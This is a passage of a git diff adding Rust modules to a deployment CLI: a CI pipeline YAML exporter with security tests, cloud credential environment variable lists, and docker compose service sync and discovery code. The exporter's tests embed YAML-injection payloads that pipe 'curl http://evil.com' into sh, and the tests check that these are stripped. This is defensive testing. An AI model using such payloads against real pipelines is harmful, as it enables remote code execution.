'stacker deploy --target {{ deploy_target }}' + } + } + } + } +} +"#; + +// ── CiExporter ────────────────────────────────────────────────────────────── + +/// Renders CI/CD pipeline YAML for a given `StackerConfig`. +pub struct CiExporter { + config: StackerConfig, +} + +impl CiExporter { + pub fn new(config: StackerConfig) -> Self { + Self { config } + } + + /// Render a GitHub Actions workflow YAML string. + pub fn generate_github(&self) -> Result { + self.render(GITHUB_ACTIONS_TEMPLATE) + } + + /// Render a GitLab CI/CD pipeline YAML string. + pub fn generate_gitlab(&self) -> Result { + self.render(GITLAB_CI_TEMPLATE) + } + + /// Render a Bitbucket Pipelines YAML string. + pub fn generate_bitbucket(&self) -> Result { + self.render(BITBUCKET_PIPELINES_TEMPLATE) + } + + /// Render a Jenkinsfile string. + pub fn generate_jenkins(&self) -> Result { + self.render(JENKINSFILE_TEMPLATE) + } + + fn render(&self, template_src: &str) -> Result { + let mut tera = Tera::default(); + tera.add_raw_template("ci", template_src) + .map_err(|e| CliError::ConfigValidation(format!("CI template parse error: {e}")))?; + + // Sanitize name: only allow safe chars for YAML context + let safe_name: String = self + .config + .name + .chars() + .filter(|c| c.is_alphanumeric() || matches!(c, ' ' | '_' | '-' | '.')) + .collect(); + + let mut ctx = Context::new(); + ctx.insert("name", &safe_name); + ctx.insert("app_type", &self.config.app.app_type.to_string()); + ctx.insert("deploy_target", &self.config.deploy.target.to_string()); + + if let Some(cloud) = &self.config.deploy.cloud { + ctx.insert("cloud_provider", &cloud.provider.to_string()); + if let Some(region) = &cloud.region { + ctx.insert("cloud_region", region); + } + } + + tera.render("ci", &ctx) + .map_err(|e| CliError::ConfigValidation(format!("CI template render error: {e}"))) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Security tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::StackerConfig; + + fn config_with_name(name: &str) -> StackerConfig { + let mut config = StackerConfig::default(); + config.name = name.to_string(); + config + } + + // ── SECURITY: YAML injection via project name ───────────────── + // CWE-94: Improper Control of Generation of Code + // + // If a malicious stacker.yml sets `name` to a value containing YAML + // special characters or newlines, the generated CI pipeline could be + // manipulated to run arbitrary commands. + + #[test] + fn test_github_yaml_injection_via_name_newline_is_sanitized() { + let config = config_with_name("legit\n run: curl http://evil.com | sh"); + let exporter = CiExporter::new(config); + let result = exporter.generate_github().unwrap(); + + assert!( + !result.contains("curl http://evil.com"), + "Injected content must be stripped from output. Got:\n{}", + result + ); + // The sanitized name should still contain the safe part + assert!(result.contains("legit")); + } + + #[test] + fn test_gitlab_template_uses_only_enum_deploy_target() { + // GitLab template only uses {{ deploy_target }} which comes from + // a Rust enum (DeployTarget) — so injection is not possible through + // the name field. This test verifies the template is safe. + let config = config_with_name("legit\n - curl http://evil.com | sh"); + let exporter = CiExporter::new(config); + let result = exporter.generate_gitlab().unwrap(); + + // The name is NOT used in the gitlab template, so it cannot be injected + assert!(!result.contains("evil.com")); + assert!(result.contains("--target")); + } + + #[test] + fn test_github_yaml_injection_via_deploy_target() { + // deploy_target is derived from an enum so it's constrained, + // but we verify the template still renders safely with normal values + let config = config_with_name("safe-project"); + let exporter = CiExporter::new(config); + let result = exporter.generate_github().unwrap(); + assert!(result.contains("--target local")); + assert!(result.contains("Deploy safe-project")); + } + + #[test] + fn test_normal_project_name_renders_correctly() { + let config = config_with_name("my-app"); + let exporter = CiExporter::new(config); + + let github = exporter.generate_github().unwrap(); + assert!(github.contains("name: Deploy my-app with Stacker")); + assert!(github.contains("--target local")); + + let gitlab = exporter.generate_gitlab().unwrap(); + assert!(gitlab.contains("--target local")); + } + + #[test] + fn test_render_uses_resolved_named_target() { + let config = StackerConfig::from_str( + r#" +name: my-app +app: + type: static +deploy: + default_target: prod + targets: + local: + compose_file: docker/local/compose.yml + prod: + cloud: + provider: aws +"#, + ) + .unwrap() + .with_resolved_deploy_target(None) + .unwrap(); + + let exporter = CiExporter::new(config); + let github = exporter.generate_github().unwrap(); + assert!(github.contains("--target cloud")); + } + + #[test] + fn test_bitbucket_yaml_injection_via_name_newline_is_sanitized() { + let config = config_with_name("legit\n script: curl http://evil.com | sh"); + let exporter = CiExporter::new(config); + let result = exporter.generate_bitbucket().unwrap(); + + assert!( + !result.contains("script: curl"), + "Injected content must be stripped from output. Got:\n{}", + result + ); + assert!(!result.contains("curl http://evil.com")); + assert!(result.contains("Bitbucket Pipelines generated by Stacker for legit")); + } + + #[test] + fn test_bitbucket_template_renders_expected_output() { + let config = config_with_name("my-app"); + let exporter = CiExporter::new(config); + let result = exporter.generate_bitbucket().unwrap(); + + assert!(result.contains("Bitbucket Pipelines generated by Stacker")); + assert!(result.contains("Deploy my-app")); + assert!(result.contains("stacker deploy --target local")); + assert!(result.contains("branches:")); + assert!(result.contains("main:")); + } + + #[test] + fn test_bitbucket_template_references_stacker_token() { + let config = config_with_name("token-app"); + let exporter = CiExporter::new(config); + let result = exporter.generate_bitbucket().unwrap(); + + assert!(result.contains("STACKER_TOKEN")); + assert!(result.contains("export STACKER_TOKEN=\"$STACKER_TOKEN\"")); + } + + #[test] + fn test_jenkins_template_renders_expected_output() { + let config = config_with_name("jenkins-app"); + let exporter = CiExporter::new(config); + let result = exporter.generate_jenkins().unwrap(); + + assert!(result.contains("Jenkins Pipeline generated by Stacker")); + assert!(result.contains("stage('Deploy jenkins-app')")); + assert!(result.contains("stacker deploy --target local")); + } + + #[test] + fn test_jenkins_template_references_stacker_token() { + let config = config_with_name("jenkins-token-app"); + let exporter = CiExporter::new(config); + let result = exporter.generate_jenkins().unwrap(); + + assert!(result.contains("STACKER_TOKEN")); + assert!(result.contains("env.STACKER_TOKEN")); + } +} diff --git a/stacker/stacker/src/cli/cloud_env.rs b/stacker/stacker/src/cli/cloud_env.rs new file mode 100644 index 0000000..42fd1c9 --- /dev/null +++ b/stacker/stacker/src/cli/cloud_env.rs @@ -0,0 +1,110 @@ +pub const HETZNER_TOKEN_ENV_VARS: &[&str] = &[ + "STACKER_CLOUD_TOKEN", + "STACKER_HETZNER_TOKEN", + "HCLOUD_TOKEN", +]; +pub const DIGITALOCEAN_TOKEN_ENV_VARS: &[&str] = &[ + "STACKER_CLOUD_TOKEN", + "STACKER_DIGITALOCEAN_TOKEN", + "DIGITALOCEAN_TOKEN", +]; +pub const LINODE_TOKEN_ENV_VARS: &[&str] = &[ + "STACKER_CLOUD_TOKEN", + "STACKER_LINODE_TOKEN", + "LINODE_TOKEN", +]; +pub const VULTR_TOKEN_ENV_VARS: &[&str] = &[ + "STACKER_CLOUD_TOKEN", + "STACKER_VULTR_TOKEN", + "VULTR_API_KEY", +]; + +pub const AWS_KEY_ENV_VARS: &[&str] = &["STACKER_CLOUD_KEY", "AWS_ACCESS_KEY_ID"]; +pub const AWS_SECRET_ENV_VARS: &[&str] = &["STACKER_CLOUD_SECRET", "AWS_SECRET_ACCESS_KEY"]; + +pub const CONTABO_CLIENT_ID_ENV_VARS: &[&str] = &["STACKER_CONTABO_CLIENT_ID"]; +pub const CONTABO_CLIENT_SECRET_ENV_VARS: &[&str] = &["STACKER_CONTABO_CLIENT_SECRET"]; +pub const CONTABO_API_USER_ENV_VARS: &[&str] = &["STACKER_CONTABO_API_USER"]; +pub const CONTABO_API_PASSWORD_ENV_VARS: &[&str] = &["STACKER_CONTABO_API_PASSWORD"]; + +pub fn token_env_vars(provider_code: &str) -> &'static [&'static str] { + match provider_code { + "htz" => HETZNER_TOKEN_ENV_VARS, + "do" => DIGITALOCEAN_TOKEN_ENV_VARS, + "lo" => LINODE_TOKEN_ENV_VARS, + "vu" => VULTR_TOKEN_ENV_VARS, + _ => &[], + } +} + +pub fn key_env_vars(provider_code: &str) -> &'static [&'static str] { + match provider_code { + "aws" => AWS_KEY_ENV_VARS, + _ => &[], + } +} + +pub fn secret_env_vars(provider_code: &str) -> &'static [&'static str] { + match provider_code { + "aws" => AWS_SECRET_ENV_VARS, + _ => &[], + } +} + +pub fn provider_cli_example(provider_code: &str) -> &'static str { + match provider_code { + "htz" => "HCLOUD_TOKEN= stacker deploy --target cloud", + "do" => "DIGITALOCEAN_TOKEN= stacker deploy --target cloud", + "lo" => "LINODE_TOKEN= stacker deploy --target cloud", + "vu" => "VULTR_API_KEY= stacker deploy --target cloud", + "aws" => { + "AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= stacker deploy --target cloud" + } + "cnt" => { + "STACKER_CONTABO_CLIENT_ID= STACKER_CONTABO_CLIENT_SECRET= STACKER_CONTABO_API_USER= STACKER_CONTABO_API_PASSWORD= stacker deploy --target cloud" + } + _ => "stacker deploy --target cloud", + } +} + +pub fn provider_missing_credentials_hint(provider_code: &str) -> &'static str { + match provider_code { + "htz" => { + "Set HCLOUD_TOKEN (or STACKER_CLOUD_TOKEN / STACKER_HETZNER_TOKEN), or save a Hetzner cloud credential first with `stacker deploy --target cloud` while that token is exported." + } + "do" => { + "Set DIGITALOCEAN_TOKEN (or STACKER_CLOUD_TOKEN / STACKER_DIGITALOCEAN_TOKEN), or save a DigitalOcean cloud credential first." + } + "lo" => { + "Set LINODE_TOKEN (or STACKER_CLOUD_TOKEN / STACKER_LINODE_TOKEN), or save a Linode cloud credential first." + } + "vu" => { + "Set VULTR_API_KEY (or STACKER_CLOUD_TOKEN / STACKER_VULTR_TOKEN), or save a Vultr cloud credential first." + } + "aws" => { + "Set AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY (or STACKER_CLOUD_KEY / STACKER_CLOUD_SECRET), or save AWS cloud credentials first." + } + "cnt" => { + "Set STACKER_CONTABO_CLIENT_ID, STACKER_CONTABO_CLIENT_SECRET, STACKER_CONTABO_API_USER, and STACKER_CONTABO_API_PASSWORD, or save a Contabo cloud credential first." + } + _ => "Set the required provider credential env vars, or save a cloud credential first.", + } +} + +pub fn provider_env_summary(provider_code: &str) -> &'static str { + match provider_code { + "htz" => "STACKER_CLOUD_TOKEN, STACKER_HETZNER_TOKEN, HCLOUD_TOKEN", + "do" => { + "STACKER_CLOUD_TOKEN, STACKER_DIGITALOCEAN_TOKEN, DIGITALOCEAN_TOKEN" + } + "lo" => "STACKER_CLOUD_TOKEN, STACKER_LINODE_TOKEN, LINODE_TOKEN", + "vu" => "STACKER_CLOUD_TOKEN, STACKER_VULTR_TOKEN, VULTR_API_KEY", + "aws" => { + "STACKER_CLOUD_KEY, AWS_ACCESS_KEY_ID, STACKER_CLOUD_SECRET, AWS_SECRET_ACCESS_KEY" + } + "cnt" => { + "STACKER_CONTABO_CLIENT_ID, STACKER_CONTABO_CLIENT_SECRET, STACKER_CONTABO_API_USER, STACKER_CONTABO_API_PASSWORD" + } + _ => "provider-specific cloud credential env vars", + } +} diff --git a/stacker/stacker/src/cli/compose_service_sync.rs b/stacker/stacker/src/cli/compose_service_sync.rs new file mode 100644 index 0000000..4459a00 --- /dev/null +++ b/stacker/stacker/src/cli/compose_service_sync.rs @@ -0,0 +1,339 @@ +use std::collections::BTreeMap; +use std::path::{Path, PathBuf}; + +use crate::cli::config_parser::{ServiceDefinition, StackerConfig}; +use crate::cli::error::CliError; + +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct ComposeServiceSyncResult { + pub compose_path: Option, + pub backup_path: Option, + pub updated_services: Vec, +} + +pub fn sync_configured_compose_services( + project_dir: &Path, + config: &StackerConfig, + service_names: &[String], +) -> Result { + let Some(compose_file) = config.deploy.compose_file.as_ref() else { + return Ok(ComposeServiceSyncResult::default()); + }; + if service_names.is_empty() { + return Ok(ComposeServiceSyncResult { + compose_path: Some(resolve_path(project_dir, compose_file)), + ..Default::default() + }); + } + + let compose_path = resolve_path(project_dir, compose_file); + if !compose_path.exists() { + return Err(CliError::ConfigValidation(format!( + "Configured compose file does not exist: {}", + compose_path.display() + ))); + } + + let original = std::fs::read_to_string(&compose_path)?; + let mut compose_doc: serde_yaml::Value = serde_yaml::from_str(&original)?; + let project_networks = project_service_networks(&compose_doc); + let mut updated_services = Vec::new(); + + for service_name in service_names { + let service = config + .services + .iter() + .find(|service| service.name == *service_name) + .ok_or_else(|| { + CliError::ConfigValidation(format!( + "Service '{}' was not found in stacker.yml", + service_name + )) + })?; + upsert_compose_service(&mut compose_doc, service, &project_networks)?; + updated_services.push(service.name.clone()); + } + + let updated = serde_yaml::to_string(&compose_doc) + .map_err(|err| CliError::ConfigValidation(format!("failed to serialize compose: {err}")))?; + if updated == original { + return Ok(ComposeServiceSyncResult { + compose_path: Some(compose_path), + backup_path: None, + updated_services: Vec::new(), + }); + } + + let backup_path = backup_path(&compose_path); + std::fs::copy(&compose_path, &backup_path)?; + std::fs::write(&compose_path, updated)?; + + Ok(ComposeServiceSyncResult { + compose_path: Some(compose_path), + backup_path: Some(backup_path), + updated_services, + }) +} + +fn resolve_path(project_dir: &Path, path: &Path) -> PathBuf { + if path.is_absolute() { + path.to_path_buf() + } else { + project_dir.join(path) + } +} + +fn backup_path(path: &Path) -> PathBuf { + PathBuf::from(format!("{}.bak", path.to_string_lossy())) +} + +fn upsert_compose_service( + compose_doc: &mut serde_yaml::Value, + service: &ServiceDefinition, + project_networks: &[String], +) -> Result<(), CliError> { + let services_key = serde_yaml::Value::String("services".to_string()); + let root = compose_doc.as_mapping_mut().ok_or_else(|| { + CliError::ConfigValidation("docker compose file must be a YAML mapping".to_string()) + })?; + if !root.contains_key(&services_key) { + root.insert( + services_key.clone(), + serde_yaml::Value::Mapping(Default::default()), + ); + } + let services = root + .get_mut(&services_key) + .and_then(serde_yaml::Value::as_mapping_mut) + .ok_or_else(|| { + CliError::ConfigValidation("docker compose file services must be a mapping".to_string()) + })?; + + services.insert( + serde_yaml::Value::String(service.name.clone()), + service_to_compose_value(service, project_networks), + ); + upsert_named_volumes(root, &service.volumes); + Ok(()) +} + +fn service_to_compose_value( + service: &ServiceDefinition, + project_networks: &[String], +) -> serde_yaml::Value { + let mut map = serde_yaml::Mapping::new(); + map.insert( + serde_yaml::Value::String("image".to_string()), + serde_yaml::Value::String(service.image.clone()), + ); + insert_string_sequence(&mut map, "ports", &service.ports); + insert_environment(&mut map, &service.environment); + insert_string_sequence(&mut map, "volumes", &service.volumes); + insert_string_sequence(&mut map, "depends_on", &service.depends_on); + if !project_networks.is_empty() { + insert_string_sequence(&mut map, "networks", project_networks); + } + map.insert( + serde_yaml::Value::String("restart".to_string()), + serde_yaml::Value::String("unless-stopped".to_string()), + ); + serde_yaml::Value::Mapping(map) +} + +fn insert_string_sequence(map: &mut serde_yaml::Mapping, key: &str, values: &[String]) { + if values.is_empty() { + return; + } + map.insert( + serde_yaml::Value::String(key.to_string()), + serde_yaml::Value::Sequence( + values + .iter() + .map(|value| serde_yaml::Value::String(value.clone())) + .collect(), + ), + ); +} + +fn insert_environment( + map: &mut serde_yaml::Mapping, + environment: &std::collections::HashMap, +) { + if environment.is_empty() { + return; + } + let sorted: BTreeMap<_, _> = environment.iter().collect(); + let mut env_map = serde_yaml::Mapping::new(); + for (key, value) in sorted { + env_map.insert( + serde_yaml::Value::String(key.clone()), + serde_yaml::Value::String(value.clone()), + ); + } + map.insert( + serde_yaml::Value::String("environment".to_string()), + serde_yaml::Value::Mapping(env_map), + ); +} + +fn upsert_named_volumes(root: &mut serde_yaml::Mapping, volumes: &[String]) { + let named_volumes: Vec = volumes + .iter() + .filter_map(|volume| named_volume_source(volume)) + .collect(); + if named_volumes.is_empty() { + return; + } + + let volumes_key = serde_yaml::Value::String("volumes".to_string()); + if !root.contains_key(&volumes_key) { + root.insert( + volumes_key.clone(), + serde_yaml::Value::Mapping(Default::default()), + ); + } + let Some(volume_map) = root + .get_mut(&volumes_key) + .and_then(serde_yaml::Value::as_mapping_mut) + else { + return; + }; + for volume in named_volumes { + let key = serde_yaml::Value::String(volume.clone()); + if volume_map.contains_key(&key) { + continue; + } + let mut value = serde_yaml::Mapping::new(); + value.insert( + serde_yaml::Value::String("name".to_string()), + serde_yaml::Value::String(volume), + ); + volume_map.insert(key, serde_yaml::Value::Mapping(value)); + } +} + +fn named_volume_source(volume: &str) -> Option { + let (source, _) = volume.split_once(':')?; + if source.starts_with('.') || source.starts_with('/') || source.starts_with('$') { + return None; + } + Some(source.to_string()) +} + +fn project_service_networks(project_doc: &serde_yaml::Value) -> Vec { + let Some(project_services) = project_doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping) + else { + return Vec::new(); + }; + + let mut networks = Vec::new(); + for service in project_services.values() { + let Some(networks_value) = service + .as_mapping() + .and_then(|service| service.get(serde_yaml::Value::String("networks".to_string()))) + else { + continue; + }; + collect_network_names(networks_value, &mut networks); + } + networks +} + +fn collect_network_names(value: &serde_yaml::Value, networks: &mut Vec) { + match value { + serde_yaml::Value::String(name) => push_unique_network(networks, name), + serde_yaml::Value::Sequence(items) => { + for item in items { + if let Some(name) = item.as_str() { + push_unique_network(networks, name); + } + } + } + serde_yaml::Value::Mapping(map) => { + for key in map.keys() { + if let Some(name) = key.as_str() { + push_unique_network(networks, name); + } + } + } + _ => {} + } +} + +fn push_unique_network(networks: &mut Vec, name: &str) { + if !networks.iter().any(|existing| existing == name) { + networks.push(name.to_string()); + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::{AppSource, DeployConfig, ProjectConfig}; + use std::collections::HashMap; + use tempfile::TempDir; + + #[test] + fn sync_configured_compose_services_upserts_service_networks_and_volumes() { + let dir = TempDir::new().unwrap(); + std::fs::write( + dir.path().join("docker-compose.yml"), + r#" +version: '3.8' +networks: + default_network: + external: true + name: default_network +services: + status-panel-web: + image: trydirect/status-panel-web:latest + networks: + - default_network +volumes: + npm_data: + name: npm_data +"#, + ) + .unwrap(); + + let config = StackerConfig { + project: ProjectConfig::default(), + app: AppSource::default(), + deploy: DeployConfig { + compose_file: Some(PathBuf::from("docker-compose.yml")), + ..Default::default() + }, + services: vec![ServiceDefinition { + name: "smtp".to_string(), + image: "trydirect/smtp".to_string(), + ports: vec!["1025:25".to_string()], + environment: HashMap::from([ + ( + "RELAY_NETWORKS".to_string(), + ":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16".to_string(), + ), + ("PORT".to_string(), "25".to_string()), + ]), + volumes: vec!["smtp_data:/data".to_string()], + depends_on: Vec::new(), + }], + ..Default::default() + }; + + let result = + sync_configured_compose_services(dir.path(), &config, &[String::from("smtp")]).unwrap(); + + assert_eq!(result.updated_services, vec!["smtp"]); + assert!(result.backup_path.unwrap().exists()); + let updated = std::fs::read_to_string(dir.path().join("docker-compose.yml")).unwrap(); + assert!(updated.contains("smtp:")); + assert!(updated.contains("image: trydirect/smtp")); + assert!(updated.contains("\"1025:25\"") || updated.contains("1025:25")); + assert!(updated.contains("RELAY_NETWORKS")); + assert!(updated.contains("default_network")); + assert!(updated.contains("smtp_data:")); + } +} diff --git a/stacker/stacker/src/cli/compose_targets.rs b/stacker/stacker/src/cli/compose_targets.rs new file mode 100644 index 0000000..7796573 --- /dev/null +++ b/stacker/stacker/src/cli/compose_targets.rs @@ -0,0 +1,429 @@ +use std::collections::HashSet; +use std::path::{Path, PathBuf}; + +use serde_yaml::{Mapping, Value}; + +use crate::cli::config_parser::{ServiceDefinition, StackerConfig}; +use crate::cli::error::CliError; + +pub fn config_with_compose_secret_target_services( + config: &StackerConfig, + compose_path: &Path, +) -> Result { + let mut config = config.clone(); + let mut existing = config + .services + .iter() + .map(|service| service.name.to_ascii_lowercase()) + .collect::>(); + + for service in extract_compose_secret_target_services(compose_path, &config)? { + if existing.insert(service.name.to_ascii_lowercase()) { + config.services.push(service); + } + } + + Ok(config) +} + +pub fn extract_compose_secret_target_services( + compose_path: &Path, + config: &StackerConfig, +) -> Result, CliError> { + let mut visited = HashSet::new(); + let mut services = Vec::new(); + collect_compose_services(compose_path, config, &mut visited, &mut services)?; + Ok(services) +} + +pub fn compose_defines_nginx_proxy_manager_service(compose_path: &Path) -> Result { + let mut visited = HashSet::new(); + compose_file_defines_nginx_proxy_manager_service(compose_path, &mut visited) +} + +fn compose_file_defines_nginx_proxy_manager_service( + compose_path: &Path, + visited: &mut HashSet, +) -> Result { + let canonical = compose_path + .canonicalize() + .unwrap_or_else(|_| compose_path.to_path_buf()); + if !visited.insert(canonical) { + return Ok(false); + } + + let content = std::fs::read_to_string(compose_path).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to read compose file for proxy discovery '{}': {}", + compose_path.display(), + err + )) + })?; + let document: Value = serde_yaml::from_str(&content).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to parse compose file for proxy discovery '{}': {}", + compose_path.display(), + err + )) + })?; + + if let Some(service_map) = document + .get(Value::String("services".to_string())) + .and_then(Value::as_mapping) + { + for (name, definition) in service_map { + let Some(service_name) = name.as_str() else { + continue; + }; + let Some(definition) = definition.as_mapping() else { + continue; + }; + if is_nginx_proxy_manager_compose_service(service_name, definition) { + return Ok(true); + } + } + } + + let base_dir = compose_path.parent().unwrap_or_else(|| Path::new(".")); + for include_path in compose_include_paths(&document, base_dir) { + if compose_file_defines_nginx_proxy_manager_service(&include_path, visited)? { + return Ok(true); + } + } + + Ok(false) +} + +fn collect_compose_services( + compose_path: &Path, + config: &StackerConfig, + visited: &mut HashSet, + services: &mut Vec, +) -> Result<(), CliError> { + let canonical = compose_path + .canonicalize() + .unwrap_or_else(|_| compose_path.to_path_buf()); + if !visited.insert(canonical) { + return Ok(()); + } + + let content = std::fs::read_to_string(compose_path).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to read compose file for service target discovery '{}': {}", + compose_path.display(), + err + )) + })?; + let document: Value = serde_yaml::from_str(&content).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to parse compose file for service target discovery '{}': {}", + compose_path.display(), + err + )) + })?; + + let base_dir = compose_path.parent().unwrap_or_else(|| Path::new(".")); + let existing_config_services = config + .services + .iter() + .map(|service| service.name.to_ascii_lowercase()) + .collect::>(); + let already_extracted = services + .iter() + .map(|service: &ServiceDefinition| service.name.to_ascii_lowercase()) + .collect::>(); + + if let Some(service_map) = document + .get(Value::String("services".to_string())) + .and_then(Value::as_mapping) + { + for (name, definition) in service_map { + let Some(service_name) = name.as_str() else { + continue; + }; + let normalized_name = service_name.to_ascii_lowercase(); + if normalized_name == "app" + || normalized_name == config.name.to_ascii_lowercase() + || existing_config_services.contains(&normalized_name) + || already_extracted.contains(&normalized_name) + { + continue; + } + + let Some(definition) = definition.as_mapping() else { + eprintln!( + " Skipping compose service '{}' as a remote secret target: service definition is not a map.", + service_name + ); + continue; + }; + + if is_platform_managed_compose_service(service_name, definition) { + eprintln!( + " Skipping compose service '{}' as a remote secret target: service is platform-managed.", + service_name + ); + continue; + } + + let Some(image) = mapping_string(definition, "image") else { + eprintln!( + " Skipping compose service '{}' as a remote secret target: image-backed services are required.", + service_name + ); + continue; + }; + + services.push(ServiceDefinition { + name: service_name.to_string(), + image, + ports: mapping_sequence(definition, "ports") + .into_iter() + .filter_map(compose_port_to_string) + .collect(), + environment: compose_environment(definition), + volumes: mapping_sequence(definition, "volumes") + .into_iter() + .filter_map(compose_volume_to_string) + .collect(), + depends_on: compose_depends_on(definition), + }); + } + } + + for include_path in compose_include_paths(&document, base_dir) { + collect_compose_services(&include_path, config, visited, services)?; + } + + Ok(()) +} + +fn mapping_string(mapping: &Mapping, key: &str) -> Option { + mapping + .get(Value::String(key.to_string())) + .and_then(Value::as_str) + .map(ToOwned::to_owned) +} + +fn mapping_sequence<'a>(mapping: &'a Mapping, key: &str) -> Vec<&'a Value> { + mapping + .get(Value::String(key.to_string())) + .and_then(Value::as_sequence) + .map(|values| values.iter().collect()) + .unwrap_or_default() +} + +fn compose_environment(mapping: &Mapping) -> std::collections::HashMap { + let mut environment = std::collections::HashMap::new(); + let Some(value) = mapping.get(Value::String("environment".to_string())) else { + return environment; + }; + + if let Some(map) = value.as_mapping() { + for (key, value) in map { + if let Some(key) = key.as_str() { + environment.insert(key.to_string(), yaml_scalar_to_string(value)); + } + } + return environment; + } + + if let Some(sequence) = value.as_sequence() { + for item in sequence { + if let Some(entry) = item.as_str() { + if let Some((key, value)) = entry.split_once('=') { + environment.insert(key.to_string(), value.to_string()); + } + } + } + } + + environment +} + +fn compose_depends_on(mapping: &Mapping) -> Vec { + let Some(value) = mapping.get(Value::String("depends_on".to_string())) else { + return Vec::new(); + }; + + if let Some(sequence) = value.as_sequence() { + return sequence + .iter() + .filter_map(Value::as_str) + .map(ToOwned::to_owned) + .collect(); + } + + value + .as_mapping() + .map(|depends_on| { + depends_on + .keys() + .filter_map(Value::as_str) + .map(ToOwned::to_owned) + .collect() + }) + .unwrap_or_default() +} + +fn compose_port_to_string(value: &Value) -> Option { + if let Some(port) = value.as_str() { + return Some(port.to_string()); + } + + let map = value.as_mapping()?; + let target = mapping_scalar(map, "target")?; + let published = mapping_scalar(map, "published"); + Some(match published { + Some(published) => format!("{published}:{target}"), + None => target, + }) +} + +fn compose_volume_to_string(value: &Value) -> Option { + if let Some(volume) = value.as_str() { + return Some(volume.to_string()); + } + + let map = value.as_mapping()?; + let target = mapping_scalar(map, "target")?; + let source = mapping_scalar(map, "source").unwrap_or_default(); + let read_only = map + .get(Value::String("read_only".to_string())) + .and_then(Value::as_bool) + .unwrap_or(false); + + Some(if read_only { + format!("{source}:{target}:ro") + } else if source.is_empty() { + target + } else { + format!("{source}:{target}") + }) +} + +fn mapping_scalar(mapping: &Mapping, key: &str) -> Option { + mapping + .get(Value::String(key.to_string())) + .map(yaml_scalar_to_string) + .filter(|value| !value.is_empty()) +} + +fn yaml_scalar_to_string(value: &Value) -> String { + match value { + Value::Null => String::new(), + Value::Bool(value) => value.to_string(), + Value::Number(value) => value.to_string(), + Value::String(value) => value.clone(), + _ => serde_yaml::to_string(value) + .unwrap_or_default() + .trim() + .to_string(), + } +} + +fn compose_include_paths(document: &Value, base_dir: &Path) -> Vec { + let Some(include) = document.get(Value::String("include".to_string())) else { + return Vec::new(); + }; + + let mut paths = Vec::new(); + collect_include_value(include, base_dir, &mut paths); + paths +} + +fn collect_include_value(value: &Value, base_dir: &Path, paths: &mut Vec) { + if let Some(path) = value.as_str() { + paths.push(base_dir.join(path)); + return; + } + + if let Some(sequence) = value.as_sequence() { + for item in sequence { + collect_include_value(item, base_dir, paths); + } + return; + } + + if let Some(mapping) = value.as_mapping() { + if let Some(path) = mapping_string(mapping, "path") { + paths.push(base_dir.join(path)); + } + } +} + +fn is_platform_managed_compose_service(service_name: &str, definition: &Mapping) -> bool { + let image = mapping_string(definition, "image"); + crate::project_app::is_platform_managed_app_identity(service_name, image.as_deref()) +} + +fn is_nginx_proxy_manager_compose_service(service_name: &str, definition: &Mapping) -> bool { + let image = mapping_string(definition, "image"); + crate::project_app::is_nginx_proxy_manager_identity(service_name, image.as_deref()) +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + #[test] + fn detects_nginx_proxy_manager_service_in_compose_file() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("compose.yml"); + std::fs::write( + &compose_path, + r#" +services: + proxy: + image: jc21/nginx-proxy-manager:latest +"#, + ) + .unwrap(); + + assert!(compose_defines_nginx_proxy_manager_service(&compose_path).unwrap()); + } + + #[test] + fn detects_nginx_proxy_manager_service_from_included_compose_file() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("compose.yml"); + let included_path = dir.path().join("proxy.yml"); + std::fs::write( + &compose_path, + r#" +include: + - proxy.yml +"#, + ) + .unwrap(); + std::fs::write( + &included_path, + r#" +services: + npm: + image: example/custom-proxy:latest +"#, + ) + .unwrap(); + + assert!(compose_defines_nginx_proxy_manager_service(&compose_path).unwrap()); + } + + #[test] + fn ignores_compose_files_without_nginx_proxy_manager() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("compose.yml"); + std::fs::write( + &compose_path, + r#" +services: + web: + image: nginx:latest +"#, + ) + .unwrap(); + + assert!(!compose_defines_nginx_proxy_manager_service(&compose_path).unwrap()); + } +} diff --git a/stacker/stacker/src/cli/config_bundle.rs b/stacker/stacker/src/cli/config_bundle.rs new file mode 100644 index 0000000..9cc8a41 --- /dev/null +++ b/stacker/stacker/src/cli/config_bundle.rs @@ -0,0 +1,768 @@ +use std::collections::BTreeMap; +use std::fs::File; +use std::path::{Component, Path, PathBuf}; + +use serde::{Deserialize, Serialize}; +use serde_json::json; +use sha2::{Digest, Sha256}; +use tar::{Builder, Header}; +use zstd::stream::write::Encoder; + +use crate::cli::error::CliError; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ConfigBundleFile { + pub source_path: String, + pub destination_path: String, + pub mode: String, + pub size: u64, + pub sha256: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ConfigBundleManifest { + pub version: u32, + pub environment: String, + pub files: Vec, +} + +#[derive(Debug, Clone)] +pub struct ConfigBundleArtifacts { + pub environment: String, + pub manifest_path: PathBuf, + pub archive_path: PathBuf, + pub remote_compose_path: PathBuf, + pub manifest: ConfigBundleManifest, + pub config_files: Vec, +} + +impl ConfigBundleArtifacts { + pub fn artifact_metadata(&self) -> serde_json::Value { + let files: Vec = self + .manifest + .files + .iter() + .map(|file| { + json!({ + "source_path": file.source_path, + "destination_path": file.destination_path, + "mode": file.mode, + "size": file.size, + "sha256": file.sha256, + "content_hidden": is_secret_like_path(&file.source_path), + }) + }) + .collect(); + + json!({ + "environment": self.environment, + "manifest_path": self.manifest_path.to_string_lossy(), + "archive_path": self.archive_path.to_string_lossy(), + 